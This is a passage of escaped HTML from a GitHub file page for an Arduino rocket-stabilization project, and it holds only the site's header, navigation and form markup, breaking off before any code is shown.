\/>\n \n <link as=\"script\" href=\"https:\/\/assets-cdn.github.com\/assets\/github-ca183c0805d4b38ee9b2df6ddaa0b91b72b4d8e24c9ebfb011952905a89a79d4.js\" rel=\"preload\" \/>\n\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta http-equiv=\"Content-Language\" content=\"en\">\n <meta name=\"viewport\" content=\"width=device-width\">\n \n <title>stab\/STAB_1_code.ino at master \u00b7 glen-costigan\/stab<\/title>\n <link rel=\"search\" type=\"application\/opensearchdescription+xml\" href=\"\/opensearch.xml\" title=\"GitHub\">\n <link rel=\"fluid-icon\" href=\"https:\/\/github.com\/fluidicon.png\" title=\"GitHub\">\n <link rel=\"apple-touch-icon\" href=\"\/apple-touch-icon.png\">\n <link rel=\"apple-touch-icon\" sizes=\"57x57\" href=\"\/apple-touch-icon-57x57.png\">\n <link rel=\"apple-touch-icon\" sizes=\"60x60\" href=\"\/apple-touch-icon-60x60.png\">\n <link rel=\"apple-touch-icon\" sizes=\"72x72\" href=\"\/apple-touch-icon-72x72.png\">\n <link rel=\"apple-touch-icon\" sizes=\"76x76\" href=\"\/apple-touch-icon-76x76.png\">\n <link rel=\"apple-touch-icon\" sizes=\"114x114\" href=\"\/apple-touch-icon-114x114.png\">\n <link rel=\"apple-touch-icon\" sizes=\"120x120\" href=\"\/apple-touch-icon-120x120.png\">\n <link rel=\"apple-touch-icon\" sizes=\"144x144\" href=\"\/apple-touch-icon-144x144.png\">\n <link rel=\"apple-touch-icon\" sizes=\"152x152\" href=\"\/apple-touch-icon-152x152.png\">\n <link rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"\/apple-touch-icon-180x180.png\">\n <meta property=\"fb:app_id\" content=\"1401488693436528\">\n\n <meta content=\"https:\/\/avatars3.githubusercontent.com\/u\/18294414?v=3&s=400\" name=\"twitter:image:src\" \/><meta content=\"@github\" name=\"twitter:site\" \/><meta content=\"summary\" name=\"twitter:card\" \/><meta content=\"glen-costigan\/stab\" name=\"twitter:title\" \/><meta content=\"stab - Arduino Controlled Rocket Stabilization\" name=\"twitter:description\" \/>\n <meta content=\"https:\/\/avatars3.githubusercontent.com\/u\/18294414?v=3&s=400\" property=\"og:image\" \/><meta content=\"GitHub\" property=\"og:site_name\" \/><meta content=\"object\" property=\"og:type\" \/><meta content=\"glen-costigan\/stab\" property=\"og:title\" \/><meta content=\"https:\/\/github.com\/glen-costigan\/stab\" property=\"og:url\" \/><meta content=\"stab - Arduino Controlled Rocket Stabilization\" property=\"og:description\" \/>\n <meta name=\"browser-stats-url\" content=\"https:\/\/api.github.com\/_private\/browser\/stats\">\n <meta name=\"browser-errors-url\" content=\"https:\/\/api.github.com\/_private\/browser\/errors\">\n <link rel=\"assets\" href=\"https:\/\/assets-cdn.github.com\/\">\n <link rel=\"web-socket\" href=\"wss:\/\/live.github.com\/_sockets\/MTgyOTQ0MTQ6Y2UyOGI4YjE1MDM4YmM5MzUyNTlkMDQ0ODIyNDFkNmM6YjI3YWNhMDIyZDE4NTVjZmJmYzI2N2JkYmMzZDU0ZWNlNzUwY2IxNDMwMTI2NTcxYmRjNDRiNjhhNGRlZmYzOA==--98e54b32397368c1f8fc96f320544e8cb6be37ea\">\n <meta name=\"pjax-timeout\" content=\"1000\">\n <link rel=\"sudo-modal\" href=\"\/sessions\/sudo_modal\">\n <meta name=\"request-id\" content=\"4583916C:1B47:4474020:57D58F0C\" data-pjax-transient>\n\n <meta name=\"msapplication-TileImage\" content=\"\/windows-tile.png\">\n <meta name=\"msapplication-TileColor\" content=\"#ffffff\">\n <meta name=\"selected-link\" value=\"repo_source\" data-pjax-transient>\n\n <meta name=\"google-site-verification\" content=\"KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU\">\n<meta name=\"google-site-verification\" content=\"ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA\">\n <meta name=\"google-analytics\" content=\"UA-3769691-2\">\n\n<meta content=\"collector.githubapp.com\" name=\"octolytics-host\" \/><meta content=\"github\" name=\"octolytics-app-id\" \/><meta content=\"4583916C:1B47:4474020:57D58F0C\" name=\"octolytics-dimension-request_id\" \/><meta content=\"18294414\" name=\"octolytics-actor-id\" \/><meta content=\"glen-costigan\" name=\"octolytics-actor-login\" \/><meta content=\"3678eef58ff8a9b0f5fb2b6e78e799aeaf2d2768bb304db6cc2b1a128d59848d\" name=\"octolytics-actor-hash\" \/>\n<meta content=\"\/<user-name>\/<repo-name>\/blob\/show\" data-pjax-transient=\"true\" name=\"analytics-location\" \/>\n\n\n\n <meta class=\"js-ga-set\" name=\"dimension1\" content=\"Logged In\">\n\n\n\n <meta name=\"hostname\" content=\"github.com\">\n <meta name=\"user-login\" content=\"glen-costigan\">\n\n <meta name=\"expected-hostname\" content=\"github.com\">\n <meta name=\"js-proxy-site-detection-payload\" content=\"NzEyNzFkNTVkZTFhNWRjODg3ZWZjNjBjYjJkZTFlMTJlZmExNDM0ZDY2MDllMjc4NTQ5N2IzYzcwOTZjZmIzMXx7InJlbW90ZV9hZGRyZXNzIjoiNjkuMTMxLjE0NS4xMDgiLCJyZXF1ZXN0X2lkIjoiNDU4MzkxNkM6MUI0Nzo0NDc0MDIwOjU3RDU4RjBDIiwidGltZXN0YW1wIjoxNDczNjEzNTg3fQ==\">\n\n\n <link rel=\"mask-icon\" href=\"https:\/\/assets-cdn.github.com\/pinned-octocat.svg\" color=\"#4078c0\">\n <link rel=\"icon\" type=\"image\/x-icon\" href=\"https:\/\/assets-cdn.github.com\/favicon.ico\">\n\n <meta name=\"html-safe-nonce\" content=\"ed981e73bd96ff8447c5939ede878d97dcb7b7e1\">\n <meta content=\"18c8ed46826ad983230813bc2d9570f9a329836c\" name=\"form-nonce\" \/>\n\n <meta http-equiv=\"x-pjax-version\" content=\"baa71878952ccac0e832fb0164e6b45b\">\n \n\n \n <meta name=\"description\" content=\"stab - Arduino Controlled Rocket Stabilization\">\n <meta name=\"go-import\" content=\"github.com\/glen-costigan\/stab git https:\/\/github.com\/glen-costigan\/stab.git\">\n\n <meta content=\"18294414\" name=\"octolytics-dimension-user_id\" \/><meta content=\"glen-costigan\" name=\"octolytics-dimension-user_login\" \/><meta content=\"57298531\" name=\"octolytics-dimension-repository_id\" \/><meta content=\"glen-costigan\/stab\" name=\"octolytics-dimension-repository_nwo\" \/><meta content=\"true\" name=\"octolytics-dimension-repository_public\" \/><meta content=\"false\" name=\"octolytics-dimension-repository_is_fork\" \/><meta content=\"57298531\" name=\"octolytics-dimension-repository_network_root_id\" \/><meta content=\"glen-costigan\/stab\" name=\"octolytics-dimension-repository_network_root_nwo\" \/>\n <link href=\"https:\/\/github.com\/glen-costigan\/stab\/commits\/master.atom\" rel=\"alternate\" title=\"Recent Commits to stab:master\" type=\"application\/atom+xml\">\n\n\n <link rel=\"canonical\" href=\"https:\/\/github.com\/glen-costigan\/stab\/blob\/master\/STAB_1_code\/STAB_1_code.ino\" data-pjax-transient>\n <\/head>\n\n\n <body class=\"logged-in env-production windows vis-public page-blob\">\n <div id=\"js-pjax-loader-bar\" class=\"pjax-loader-bar\"><div class=\"progress\"><\/div><\/div>\n <a href=\"#start-of-content\" tabindex=\"1\" class=\"accessibility-aid js-skip-to-content\">Skip to content<\/a>\n\n \n \n \n\n\n\n <div class=\"header header-logged-in true\" role=\"banner\">\n <div class=\"container clearfix\">\n\n <a class=\"header-logo-invertocat\" href=\"https:\/\/github.com\/\" data-hotkey=\"g d\" aria-label=\"Homepage\" data-ga-click=\"Header, go to dashboard, icon:logo\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-mark-github\" height=\"28\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"28\"><path d=\"M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z\"><\/path><\/svg>\n<\/a>\n\n\n <div class=\"header-search scoped-search site-scoped-search js-site-search\" role=\"search\">\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/search\" class=\"js-site-search-form\" data-scoped-search-url=\"\/glen-costigan\/stab\/search\" data-unscoped-search-url=\"\/search\" method=\"get\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><\/div>\n <label class=\"form-control header-search-wrapper js-chromeless-input-container\">\n <div class=\"header-search-scope\">This repository<\/div>\n <input type=\"text\"\n class=\"form-control header-search-input js-site-search-focus js-site-search-field is-clearable\"\n data-hotkey=\"s\"\n name=\"q\"\n placeholder=\"Search\"\n aria-label=\"Search this repository\"\n data-unscoped-placeholder=\"Search GitHub\"\n data-scoped-placeholder=\"Search\"\n autocapitalize=\"off\">\n <\/label>\n<\/form><\/div>\n\n\n <ul class=\"header-nav float-left\" role=\"navigation\">\n <li class=\"header-nav-item\">\n <a href=\"\/pulls\" aria-label=\"Pull requests you created\" class=\"js-selected-navigation-item header-nav-link\" data-ga-click=\"Header, click, Nav menu - item:pulls context:user\" data-hotkey=\"g p\" data-selected-links=\"\/pulls \/pulls\/assigned \/pulls\/mentioned \/pulls\">\n Pull requests\n<\/a> <\/li>\n <li class=\"header-nav-item\">\n <a href=\"\/issues\" aria-label=\"Issues you created\" class=\"js-selected-navigation-item header-nav-link\" data-ga-click=\"Header, click, Nav menu - item:issues context:user\" data-hotkey=\"g i\" data-selected-links=\"\/issues \/issues\/assigned \/issues\/mentioned \/issues\">\n Issues\n<\/a> <\/li>\n <li class=\"header-nav-item\">\n <a class=\"header-nav-link\" href=\"https:\/\/gist.github.com\/\" data-ga-click=\"Header, go to gist, text:gist\">Gist<\/a>\n <\/li>\n <\/ul>\n\n \n<ul class=\"header-nav user-nav float-right\" id=\"user-links\">\n <li class=\"header-nav-item\">\n \n\n <\/li>\n\n <li class=\"header-nav-item dropdown js-menu-container\">\n <a class=\"header-nav-link tooltipped tooltipped-s js-menu-target\" href=\"\/new\"\n aria-label=\"Create new\u2026\"\n data-ga-click=\"Header, create new, icon:add\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-plus float-left\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M12 9H7v5H5V9H0V7h5V2h2v5h5z\"><\/path><\/svg>\n <span class=\"dropdown-caret\"><\/span>\n <\/a>\n\n <div class=\"dropdown-menu-content js-menu-content\">\n <ul class=\"dropdown-menu dropdown-menu-sw\">\n \n<a class=\"dropdown-item\" href=\"\/new\" data-ga-click=\"Header, create new repository\">\n New repository\n<\/a>\n\n <a class=\"dropdown-item\" href=\"\/new\/import\" data-ga-click=\"Header, import a repository\">\n Import repository\n <\/a>\n\n\n <a class=\"dropdown-item\" href=\"\/organizations\/new\" data-ga-click=\"Header, create new organization\">\n New organization\n <\/a>\n\n\n\n <div class=\"dropdown-divider\"><\/div>\n <div class=\"dropdown-header\">\n <span title=\"glen-costigan\/stab\">This repository<\/span>\n <\/div>\n <a class=\"dropdown-item\" href=\"\/glen-costigan\/stab\/issues\/new\" data-ga-click=\"Header, create new issue\">\n New issue\n <\/a>\n <a class=\"dropdown-item\" href=\"\/glen-costigan\/stab\/settings\/collaboration\" data-ga-click=\"Header, create new collaborator\">\n New collaborator\n <\/a>\n\n <\/ul>\n <\/div>\n <\/li>\n\n <li class=\"header-nav-item dropdown js-menu-container\">\n <a class=\"header-nav-link name tooltipped tooltipped-sw js-menu-target\" href=\"\/glen-costigan\"\n aria-label=\"View profile and more\"\n data-ga-click=\"Header, show menu, icon:avatar\">\n <img alt=\"@glen-costigan\" class=\"avatar\" height=\"20\" src=\"https:\/\/avatars0.githubusercontent.com\/u\/18294414?v=3&s=40\" width=\"20\" \/>\n <span class=\"dropdown-caret\"><\/span>\n <\/a>\n\n <div class=\"dropdown-menu-content js-menu-content\">\n <div class=\"dropdown-menu dropdown-menu-sw\">\n <div class=\"dropdown-header header-nav-current-user css-truncate\">\n Signed in as <strong class=\"css-truncate-target\">glen-costigan<\/strong>\n <\/div>\n\n <div class=\"dropdown-divider\"><\/div>\n\n <a class=\"dropdown-item\" href=\"\/glen-costigan\" data-ga-click=\"Header, go to profile, text:your profile\">\n Your profile\n <\/a>\n <a class=\"dropdown-item\" href=\"\/stars\" data-ga-click=\"Header, go to starred repos, text:your stars\">\n Your stars\n <\/a>\n <a class=\"dropdown-item\" href=\"\/explore\" data-ga-click=\"Header, go to explore, text:explore\">\n Explore\n <\/a>\n <a class=\"dropdown-item\" href=\"\/integrations\" data-ga-click=\"Header, go to integrations, text:integrations\">\n Integrations\n <\/a>\n <a class=\"dropdown-item\" href=\"https:\/\/help.github.com\" data-ga-click=\"Header, go to help, text:help\">\n Help\n <\/a>\n\n\n <div class=\"dropdown-divider\"><\/div>\n\n <a class=\"dropdown-item\" href=\"\/settings\/profile\" data-ga-click=\"Header, go to settings, icon:settings\">\n Settings\n <\/a>\n\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/logout\" class=\"logout-form\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"QtQyerwYIR+C60mT2k+yoq8OtQeJABY6ueE9qfma1WpU198R5O8NVWX\/wAA+LK3kHB1\/Qc0CZ2DtuR8ao7jWag==\" \/><\/div>\n <button class=\"dropdown-item dropdown-signout\" data-ga-click=\"Header, sign out, icon:logout\">\n Sign out\n <\/button>\n<\/form> <\/div>\n <\/div>\n <\/li>\n<\/ul>\n\n\n \n <\/div>\n<\/div>\n\n\n \n\n\n <div id=\"start-of-content\" class=\"accessibility-aid\"><\/div>\n\n <div id=\"js-flash-container\">\n<\/div>\n\n\n <div role=\"main\">\n <div itemscope itemtype=\"http:\/\/schema.org\/SoftwareSourceCode\">\n <div id=\"js-repo-pjax-container\" data-pjax-container>\n \n<div class=\"pagehead repohead instapaper_ignore readability-menu experiment-repo-nav\">\n <div class=\"container repohead-details-container\">\n\n \n\n<ul class=\"pagehead-actions\">\n\n <li>\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/notifications\/subscribe\" class=\"js-social-container\" data-autosubmit=\"true\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" data-remote=\"true\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"MagT346pXtIiaqR3oTdNx2MLVav7aefgoPtnMNMdZEzsfQYNsDXTaTmubnOtIB9Jv4IBmRjqwMGRAclX\/pIi1w==\" \/><\/div> <input class=\"form-control\" id=\"repository_id\" name=\"repository_id\" type=\"hidden\" value=\"57298531\" \/>\n\n <div class=\"select-menu js-menu-container js-select-menu\">\n <a href=\"\/glen-costigan\/stab\/subscription\"\n class=\"btn btn-sm btn-with-count select-menu-button js-menu-target\" role=\"button\" tabindex=\"0\" aria-haspopup=\"true\"\n data-ga-click=\"Repository, click Watch settings, action:blob#show\">\n <span class=\"js-select-button\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-eye\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z\"><\/path><\/svg>\n Unwatch\n <\/span>\n <\/a>\n <a class=\"social-count js-social-count\"\n href=\"\/glen-costigan\/stab\/watchers\"\n aria-label=\"1 user is watching this repository\">\n 1\n <\/a>\n\n <div class=\"select-menu-modal-holder\">\n <div class=\"select-menu-modal subscription-menu-modal js-menu-content\" aria-hidden=\"true\">\n <div class=\"select-menu-header js-navigation-enable\" tabindex=\"-1\">\n <svg aria-label=\"Close\" class=\"octicon octicon-x js-menu-close\" height=\"16\" role=\"img\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z\"><\/path><\/svg>\n <span class=\"select-menu-title\">Notifications<\/span>\n <\/div>\n\n <div class=\"select-menu-list js-navigation-container\" role=\"menu\">\n\n <div class=\"select-menu-item js-navigation-item \" role=\"menuitem\" tabindex=\"0\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-check select-menu-item-icon\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z\"><\/path><\/svg>\n <div class=\"select-menu-item-text\">\n <input id=\"do_included\" name=\"do\" type=\"radio\" value=\"included\" \/>\n <span class=\"select-menu-item-heading\">Not watching<\/span>\n <span class=\"description\">Be notified when participating or @mentioned.<\/span>\n <span class=\"js-select-button-text hidden-select-button-text\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-eye\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z\"><\/path><\/svg>\n Watch\n <\/span>\n <\/div>\n <\/div>\n\n <div class=\"select-menu-item js-navigation-item selected\" role=\"menuitem\" tabindex=\"0\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-check select-menu-item-icon\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z\"><\/path><\/svg>\n <div class=\"select-menu-item-text\">\n <input checked=\"checked\" id=\"do_subscribed\" name=\"do\" type=\"radio\" value=\"subscribed\" \/>\n <span class=\"select-menu-item-heading\">Watching<\/span>\n <span class=\"description\">Be notified of all conversations.<\/span>\n <span class=\"js-select-button-text hidden-select-button-text\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-eye\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z\"><\/path><\/svg>\n Unwatch\n <\/span>\n <\/div>\n <\/div>\n\n <div class=\"select-menu-item js-navigation-item \" role=\"menuitem\" tabindex=\"0\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-check select-menu-item-icon\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z\"><\/path><\/svg>\n <div class=\"select-menu-item-text\">\n <input id=\"do_ignore\" name=\"do\" type=\"radio\" value=\"ignore\" \/>\n <span class=\"select-menu-item-heading\">Ignoring<\/span>\n <span class=\"description\">Never be notified.<\/span>\n <span class=\"js-select-button-text hidden-select-button-text\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-mute\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z\"><\/path><\/svg>\n Stop ignoring\n <\/span>\n <\/div>\n <\/div>\n\n <\/div>\n\n <\/div>\n <\/div>\n <\/div>\n<\/form>\n <\/li>\n\n <li>\n \n <div class=\"js-toggler-container js-social-container starring-container \">\n\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/unstar\" class=\"starred\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" data-remote=\"true\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"mLnA3SykuizQeldpK4mcLCooh3kJYRxQ1SfITpu9p70pRNX4R81Z5PHHLaFCjBiLHp+g90AzHToSLKVpXBxnVw==\" \/><\/div>\n <button\n class=\"btn btn-sm btn-with-count js-toggler-target\"\n aria-label=\"Unstar this repository\" title=\"Unstar glen-costigan\/stab\"\n data-ga-click=\"Repository, click unstar button, action:blob#show; text:Unstar\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-star\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z\"><\/path><\/svg>\n Unstar\n <\/button>\n <a class=\"social-count js-social-count\" href=\"\/glen-costigan\/stab\/stargazers\"\n aria-label=\"0 users starred this repository\">\n 0\n <\/a>\n<\/form>\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/star\" class=\"unstarred\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" data-remote=\"true\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"Th8H1VC3CmavIEcTahkHHYWNf5gEnFBzsbtjraYM2ijKabMNoUnBTf9TMAPRILQSX61gqCrtMXfDewN6i7ohGw==\" \/><\/div>\n <button\n class=\"btn btn-sm btn-with-count js-toggler-target\"\n aria-label=\"Star this repository\" title=\"Star glen-costigan\/stab\"\n data-ga-click=\"Repository, click star button, action:blob#show; text:Star\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-star\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74z\"><\/path><\/svg>\n Star\n <\/button>\n <a class=\"social-count js-social-count\" href=\"\/glen-costigan\/stab\/stargazers\"\n aria-label=\"0 users starred this repository\">\n 0\n <\/a>\n<\/form> <\/div>\n\n <\/li>\n\n <li>\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/fork\" class=\"btn-with-count\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"QAuu5esKMyzjd+lg\/QCEUGllgFO67cet38e7kMpPsz5L3zk2Nh96hGldIa5B2MV7ZzXTaQldGWAF9gieZUMr7Q==\" \/><\/div>\n <button\n type=\"submit\"\n class=\"btn btn-sm btn-with-count\"\n data-ga-click=\"Repository, show fork modal, action:blob#show; text:Fork\"\n title=\"Fork your own copy of glen-costigan\/stab to your account\"\n aria-label=\"Fork your own copy of glen-costigan\/stab to your account\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-repo-forked\" height=\"16\" version=\"1.1\" viewBox=\"0 0 10 16\" width=\"10\"><path d=\"M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z\"><\/path><\/svg>\n Fork\n <\/button>\n<\/form>\n <a href=\"\/glen-costigan\/stab\/network\" class=\"social-count\"\n aria-label=\"0 users are forked this repository\">\n 0\n <\/a>\n <\/li>\n<\/ul>\n\n <h1 class=\"public \">\n <svg aria-hidden=\"true\" class=\"octicon octicon-repo\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z\"><\/path><\/svg>\n <span class=\"author\" itemprop=\"author\"><a href=\"\/glen-costigan\" class=\"url fn\" rel=\"author\">glen-costigan<\/a><\/span><!--\n--><span class=\"path-divider\">\/<\/span><!--\n--><strong itemprop=\"name\"><a href=\"\/glen-costigan\/stab\" data-pjax=\"#js-repo-pjax-container\">stab<\/a><\/strong>\n\n<\/h1>\n\n <\/div>\n <div class=\"container\">\n \n<nav class=\"reponav js-repo-nav js-sidenav-container-pjax\"\n itemscope\n itemtype=\"http:\/\/schema.org\/BreadcrumbList\"\n role=\"navigation\"\n data-pjax=\"#js-repo-pjax-container\">\n\n <span itemscope itemtype=\"http:\/\/schema.org\/ListItem\" itemprop=\"itemListElement\">\n <a href=\"\/glen-costigan\/stab\" aria-selected=\"true\" class=\"js-selected-navigation-item selected reponav-item\" data-hotkey=\"g c\" data-selected-links=\"repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches \/glen-costigan\/stab\" itemprop=\"url\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-code\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z\"><\/path><\/svg>\n <span itemprop=\"name\">Code<\/span>\n <meta itemprop=\"position\" content=\"1\">\n<\/a> <\/span>\n\n <span itemscope itemtype=\"http:\/\/schema.org\/ListItem\" itemprop=\"itemListElement\">\n <a href=\"\/glen-costigan\/stab\/issues\" class=\"js-selected-navigation-item reponav-item\" data-hotkey=\"g i\" data-selected-links=\"repo_issues repo_labels repo_milestones \/glen-costigan\/stab\/issues\" itemprop=\"url\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-issue-opened\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z\"><\/path><\/svg>\n <span itemprop=\"name\">Issues<\/span>\n <span class=\"counter\">0<\/span>\n <meta itemprop=\"position\" content=\"2\">\n<\/a> <\/span>\n\n <span itemscope itemtype=\"http:\/\/schema.org\/ListItem\" itemprop=\"itemListElement\">\n <a href=\"\/glen-costigan\/stab\/pulls\" class=\"js-selected-navigation-item reponav-item\" data-hotkey=\"g p\" data-selected-links=\"repo_pulls \/glen-costigan\/stab\/pulls\" itemprop=\"url\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-git-pull-request\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 